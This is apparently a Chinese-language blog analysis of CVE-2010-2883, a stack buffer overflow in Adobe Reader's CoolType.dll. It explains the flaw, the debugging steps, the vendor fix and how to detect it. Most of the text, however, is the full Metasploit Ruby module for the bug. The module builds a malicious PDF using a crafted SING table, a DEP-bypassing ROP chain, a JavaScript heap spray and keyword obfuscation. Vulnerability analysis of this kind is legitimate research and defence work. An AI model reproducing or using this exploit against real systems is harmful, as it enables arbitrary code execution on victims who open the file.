2022-01-20Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告

一. 简介

软件名称:Adobe Reader

影响范围:7.0.0-9.3.4版本

影响平台:Windows

漏洞模块:CoolType.dll

威胁等级:高危

漏洞类型:缓冲区溢出

威胁路径:远程

机密性影响:完全的信息泄露导致所有系统文件暴露

完整性影响:系统完整性可被完全破坏

可用性影响:可能导致系统完全宕机

攻击复杂度:漏洞利用存在一定的访问条件

攻击向量:攻击者不需要获取内网访问权或本地访问权

身份认证:漏洞利用无需身份认证

二. 软件介绍

Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。

三. 漏洞成因

Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。

具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。

使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:

四. 漏洞分析

4.1格式分析

4.1.1 TableEntry结构在官方文档中的定义如下:

Typedef struct_SING

{

Char tag[4]; //SING字符串

ULONG checkSum; //校验和

ULONG offset; //相对文件偏移

ULONG length; //数据长度

}

4.1.2 在该样本中,SING表的形态

Char tag[4];    //53494E47

ULONG checkSum; //D9 BC C8 B5

ULONG offset; //0000011C

ULONG length; //00001DDF

根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。

4.1.3 uniqueName域

在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。

4.2 漏洞调试

4.2.1利用IDA pro查看溢出函数的位置

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。

4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持JavaScript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。

五. 厂商修复手段

添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。

六. 检测方法

分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。

七. Exploit

使用的exploit由Exploit-db下载,使用ruby编写。

##

# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $

##


##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##


require 'msf/core'

require 'zlib'


classMetasploit3 < Msf::Exploit::Remote

    Rank =GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof


    include Msf::Exploit::FILEFORMAT


    definitialize(info ={})

        super(update_info(info,

            'Name'=> 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',

            'Description'=> %q{

                    This module exploits a vulnerability inthe Smart INdependent Glyplets (SING) table

                handling within versions 8.2.4and9.3.4of Adobe Reader. Prior version are

                assumed to be vulnerable as well.

            },

            'License'=> MSF_LICENSE,

            'Author'=>

                [

                    'Unknown',    # 0day found in the wild

                    '@sn0wfl0w',  # initial analysis

                    '@vicheck',   # initial analysis

                    'jduck'# Metasploit module

                ],

            'Version'=> '$Revision: 10477 $',

            'References'=>

                [

                    [ 'CVE', '2010-2883'],

                    [ 'OSVDB', '67849'],

                    [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html'],

                    [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html']

                ],

            'DefaultOptions'=>

                {

                    'EXITFUNC'=> 'process',

                    'InitialAutoRunScript'=> 'migrate -f',

                    'DisablePayloadHandler'=> 'true',

                },

            'Payload'=>

                {

                    'Space'=> 1000,

                    'BadChars'=> "\x00",

                    'DisableNops'=> true

                },

            'Platform'=> 'win',

            'Targets'=>

                [

                    # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd

                    # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd

                    [ 'Automatic', { }],

                ],

            'DisclosureDate'=> 'Sep 07 2010',

            'DefaultTarget'=> 0))


        register_options(

            [

                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),

            ], self.class)

    end


    defexploit

        ttf_data =make_ttf()


        js_data =make_js(payload.encoded)


        # Create the pdf

        pdf =make_pdf(ttf_data, js_data)


        print_status("Creating '#{datastore['FILENAME']}' file...")


        file_create(pdf)

    end


    defmake_ttf

        ttf_data =""


        # load the static ttf file


        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)

        path =File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf")

        fd =File.open( path, "rb")

        ttf_data =fd.read(fd.stat.size)

        fd.close


        # Build the SING table

        sing =''

        sing << [

            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)

            0xe01,  # glyphletVersion

            0x100,  # embeddingInfo

            0,      # mainGID

            0,      # unitsPerEm

            0,      # vertAdvance

            0x3a00# vertOrigin

        ].pack('vvvvvvvv')

        # uniqueName

        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"

        #sing << "A" * (0x254 - sing.length)

        sing << rand_text(0x254-sing.length)


        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)

        sing[0x140, 4] =[0x4a8a08e2-0x1c].pack('V')


        # This becomes our new EIP (puts esp to stack buffer)

        ret =0x4a80cb38# add ebp, 0x794 / leave / ret

        sing[0x208, 4] =[ret].pack('V')


        # This becomes the new eip after the first return

        ret =0x4a82a714

        sing[0x18, 4] =[ret].pack('V')


        # This becomes the new esp after the first return

        esp =0x0c0c0c0c

        sing[0x1c, 4] =[esp].pack('V')


        # Without the following, sub_801ba57 returns 0.

        sing[0x24c, 4] =[0x6c].pack('V')


        ttf_data[0xec, 4] ="SING"

        ttf_data[0x11c, sing.length] =sing


        ttf_data

    end


    defmake_js(encoded_payload)


        # The following executes a ret2lib using icucnv36.dll

        # The effect is to bypass DEP and execute the shellcode in an indirect way

        stack_data =[

            0x41414141,   # unused

            0x4a8063a5,   # pop ecx / ret

            0x4a8a0000,   # becomes ecx


            0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as


            0x4a801f90,   # pop eax / ret

            0x4a84903c,   # becomes eax (import for CreateFileA)


            # -- call CreateFileA

            0x4a80b692,   # jmp [eax]


            0x4a801064,   # ret


            0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")

            0x10000000,   # second arg  - dwDesiredAccess

            0x00000000,   # third arg   - dwShareMode

            0x00000000,   # fourth arg  - lpSecurityAttributes

            0x00000002,   # fifth arg   - dwCreationDisposition

            0x00000102,   # sixth arg   - dwFlagsAndAttributes

            0x00000000,   # seventh arg - hTemplateFile


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx


            0x4a842db2,   # xchg eax,edi / ret


            0x4a802ab1,   # pop ebx / ret

            0x00000008,   # becomes ebx - offset to modify


            #

            # This points at a neat-o block of code that ... TBD

            #

            #   and [esp+ebx*2],edi

            #   jne check_slash

            # ret_one:

            #   mov al,1

            #   ret

            # check_slash:

            #   cmp al,0x2f

            #   je ret_one

            #   cmp al,0x41

            #   jl check_lower

            #   cmp al,0x5a

            #   jle check_ptr

            # check_lower:

            #   cmp al,0x61

            #   jl ret_zero

            #   cmp al,0x7a

            #   jg ret_zero

            #   cmp [ecx+1],0x3a

            #   je ret_one

            # ret_zero:

            #   xor al,al

            #   ret

            #


            0x4a80a8a6,   # execute fun block


            0x4a801f90,   # pop eax / ret

            0x4a849038,   # becomes eax (import for CreateFileMappingA)


            # -- call CreateFileMappingA

            0x4a80b692,   # jmp [eax]


            0x4a801064,   # ret


            0xffffffff,   # arguments to CreateFileMappingA, hFile

            0x00000000,   # lpAttributes

            0x00000040,   # flProtect

            0x00000000,   # dwMaximumSizeHigh

            0x00010000,   # dwMaximumSizeLow

            0x00000000,   # lpName


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx


            0x4a842db2,   # xchg eax,edi / ret


            0x4a802ab1,   # pop ebx / ret

            0x00000008,   # becomes ebx - offset to modify


            0x4a80a8a6,   # execute fun block


            0x4a801f90,   # pop eax / ret

            0x4a849030,   # becomes eax (import for MapViewOfFile


            # -- call MapViewOfFile

            0x4a80b692,   # jmp [eax]


            0x4a801064,   # ret


            0xffffffff,   # args to MapViewOfFile - hFileMappingObject

            0x00000022,   # dwDesiredAccess

            0x00000000,   # dwFileOffsetHigh

            0x00000000,   # dwFileOffsetLow

            0x00010000,   # dwNumberOfBytesToMap


            0x4a8063a5,   # pop ecx / ret

            0x4a8a0004,   # becomes ecx - writable pointer


            0x4a802196,   # mov [ecx],eax / ret - save map base addr


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx - ptr to ret


            0x4a842db2,   # xchg eax,edi / ret


            0x4a802ab1,   # pop ebx / ret

            0x00000030,   # becomes ebx - offset to modify


            0x4a80a8a6,   # execute fun block


            0x4a801f90,   # pop eax / ret

            0x4a8a0004,   # becomes eax - saved file mapping ptr


            0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx - ptr to ret


            0x4a842db2,   # xchg eax,edi / ret


            0x4a802ab1,   # pop ebx / ret

            0x00000020,   # becomes ebx - offset to modify


            0x4a80a8a6,   # execute fun block


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx - ptr to ret


            0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret


            0x4a801f90,   # pop eax / ret

            0x00000034,   # becomes eax


            0x4a80d585,   # add eax,edx / ret


            0x4a8063a5,   # pop ecx / ret

            0x4a801064,   # becomes ecx - ptr to ret


            0x4a842db2,   # xchg eax,edi / ret


            0x4a802ab1,   # pop ebx / ret

            0x0000000a,   # becomes ebx - offset to modify


            0x4a80a8a6,   # execute fun block


            0x4a801f90,   # pop eax / ret

            0x4a849170,   # becomes eax (import for memcpy)


            # -- call memcpy

            0x4a80b692,   # jmp [eax]


            0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy

            0xffffffff,   # becomes first arg to memcpy (dst)

            0xffffffff,   # becomes second arg to memcpy (src)

            0x00001000,   # becomes third arg to memcpy (length)

            #0x0000258b,   # ??

            #0x4d4d4a8a,   # ??

        ].pack('V*')


        var_unescape  =rand_text_alpha(rand(100) +1)

        var_shellcode =rand_text_alpha(rand(100) +1)


        var_start     =rand_text_alpha(rand(100) +1)


        var_s         =0x10000

        var_c         =rand_text_alpha(rand(100) +1)

        var_b         =rand_text_alpha(rand(100) +1)

        var_d         =rand_text_alpha(rand(100) +1)

        var_3         =rand_text_alpha(rand(100) +1)

        var_i         =rand_text_alpha(rand(100) +1)

        var_4         =rand_text_alpha(rand(100) +1)


        payload_buf =''

        payload_buf << stack_data

        payload_buf << encoded_payload


        escaped_payload =Rex::Text.to_unescape(payload_buf)


        js =%Q|

var #{var_unescape} = unescape;

var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );

var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

while(#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};

#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);

#{var_b} += #{var_shellcode};

#{var_b} += #{var_c};

#{var_d} = #{var_b}.substring(0, #{var_s}/2);

while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};

#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);

var #{var_4} = new Array();

for(#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";

|


        js

    end


    defRandomNonASCIIString(count)

        result =""

        count.times do

            result << (rand(128) +128).chr

        end

        result

    end


    defioDef(id)

        "%d 0 obj \n"%id

    end


    defioRef(id)

        "%d 0 R"%id

    end



    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

    defnObfu(str)

        #return str

        result =""

        str.scan(/./u) do |c|

            ifrand(2) ==0andc.upcase >='A'andc.upcase <='Z'

                result << "#%x"%c.unpack("C*")[0]

            else

                result << c

            end

        end

        result

    end



    defASCIIHexWhitespaceEncode(str)

        result =""

        whitespace =""

        str.each_byte do |b|

            result << whitespace << "%02x"%b

            whitespace =" "*(rand(3) +1)

        end

        result << ">"

    end



    defmake_pdf(ttf, js)


        #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"


        xref =[]

        eol ="\n"

        endobj ="endobj"<< eol


        # Randomize PDF version?

        pdf ="%PDF-1.5"<< eol

        pdf << "%"<< RandomNonASCIIString(4) << eol


        # catalog

        xref << pdf.length

        pdf << ioDef(1) << nObfu("<<") << eol

        pdf << nObfu("/Pages ") << ioRef(2) << eol

        pdf << nObfu("/Type /Catalog") << eol

        pdf << nObfu("/OpenAction ") << ioRef(11) << eol

        # The AcroForm is required to get icucnv36.dll to load

        pdf << nObfu("/AcroForm ") << ioRef(13) << eol

        pdf << nObfu(">>") << eol

        pdf << endobj


        # pages array

        xref << pdf.length

        pdf << ioDef(2) << nObfu("<<") << eol

        pdf << nObfu("/MediaBox ") << ioRef(3) << eol

        pdf << nObfu("/Resources ") << ioRef(4) << eol

        pdf << nObfu("/Kids [") << ioRef(5) << "]"<< eol

        pdf << nObfu("/Count 1") << eol

        pdf << nObfu("/Type /Pages") << eol

        pdf << nObfu(">>") << eol

        pdf << endobj


        # media box

        xref << pdf.length

        pdf << ioDef(3)

        pdf << "[0 0 595 842]"<< eol

        pdf << endobj


        # resources

        xref << pdf.length

        pdf << ioDef(4)

        pdf << nObfu("<<") << eol

        pdf << nObfu("/Font ") << ioRef(6) << eol

        pdf << ">>"<< eol

        pdf << endobj


        # page 1

        xref << pdf.length

        pdf << ioDef(5) << nObfu("<<") << eol

        pdf << nObfu("/Parent ") << ioRef(2) << eol

        pdf << nObfu("/MediaBox ") << ioRef(3) << eol

        pdf << nObfu("/Resources ") << ioRef(4) << eol

        pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol

        pdf << nObfu("/Type /Page") << eol

        pdf << nObfu(">>") << eol # end obj dict

        pdf << endobj


        # font

        xref << pdf.length

        pdf << ioDef(6) << nObfu("<<") << eol

        pdf << nObfu("/F1 ") << ioRef(7) << eol

        pdf << ">>"<< eol

        pdf << endobj


        # ttf object

        xref << pdf.length

        pdf << ioDef(7) << nObfu("<<") << eol

        pdf << nObfu("/Type /Font") << eol

        pdf << nObfu("/Subtype /TrueType") << eol

        pdf << nObfu("/Name /F1") << eol

        pdf << nObfu("/BaseFont /Cinema") << eol

        pdf << nObfu("/Widths []") << eol

        pdf << nObfu("/FontDescriptor ") << ioRef(9)

        pdf << nObfu("/Encoding /MacRomanEncoding")

        pdf << nObfu(">>") << eol

        pdf << endobj


        # page content

        content ="Hello World!"

        content ="" +

            "0 g"+eol +

            "BT"+eol +

            "/F1 32 Tf"+eol +

            "32 Tc"+eol +

            "1 0 0 1 32 773.872 Tm"+eol +

            "("+content +") Tj"+eol +

            "ET"


        xref << pdf.length

        pdf << ioDef(8) << "<<"<< eol

        pdf << nObfu("/Length %s"%content.length) << eol

        pdf << ">>"<< eol

        pdf << "stream"<< eol

        pdf << content << eol

        pdf << "endstream"<< eol

        pdf << endobj


        # font descriptor

        xref << pdf.length

        pdf << ioDef(9) << nObfu("<<")

        pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")

        pdf << nObfu("/Flags %d"%(2**2+2**6+2**17))

        pdf << nObfu("/FontBBox [-177 -269 1123 866]")

        pdf << nObfu("/FontFile2 ") << ioRef(10)

        pdf << nObfu(">>") << eol

        pdf << endobj


        # ttf stream

        xref << pdf.length

        compressed =Zlib::Deflate.deflate(ttf)

        pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>"%[compressed.length, ttf.length]) << eol

        pdf << "stream"<< eol

        pdf << compressed << eol

        pdf << "endstream"<< eol

        pdf << endobj


        # js action

        xref << pdf.length

        pdf << ioDef(11) << nObfu("<<")

        pdf << nObfu("/Type/Action/S/JavaScript/JS ") +ioRef(12)

        pdf << nObfu(">>") << eol

        pdf << endobj


        # js stream

        xref << pdf.length

        compressed =Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))

        pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>"%compressed.length) << eol

        pdf << "stream"<< eol

        pdf << compressed << eol

        pdf << "endstream"<< eol

        pdf << endobj


        ###

        # The following form related data is required to get icucnv36.dll to load

        ###


        # form object

        xref << pdf.length

        pdf << ioDef(13)

        pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol

        pdf << endobj


        # form stream

        xfa =<<-EOF

<?xml version="1.0"encoding="UTF-8"?>

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

<config xmlns="http://www.xfa.org/schema/xci/2.6/">

<present><pdf><interactive>1</interactive></pdf></present>

</config>

<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">

<subform name="form1"layout="tb"locale="en_US">

<pageSet></pageSet>

</subform></template></xdp:xdp>

EOF


        xref << pdf.length

        pdf << ioDef(14) << nObfu("<</Length %s>>"%xfa.length) << eol

        pdf << "stream"<< eol

        pdf << xfa << eol

        pdf << "endstream"<< eol

        pdf << endobj


        ###

        # end form stuff for icucnv36.dll

        ###



        # trailing stuff

        xrefPosition =pdf.length

        pdf << "xref"<< eol

        pdf << "0 %d"%(xref.length +1) << eol

        pdf << "0000000000 65535 f"<< eol

        xref.each do |index|

            pdf << "%010d 00000 n"%index << eol

        end


        pdf << "trailer"<< eol

        pdf << nObfu("<</Size %d/Root "%(xref.length +1)) << ioRef(1) << ">>"<< eol


        pdf << "startxref"<< eol

        pdf << xrefPosition.to_s() << eol


        pdf << "%%EOF"<< eol

        pdf

    end


end

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容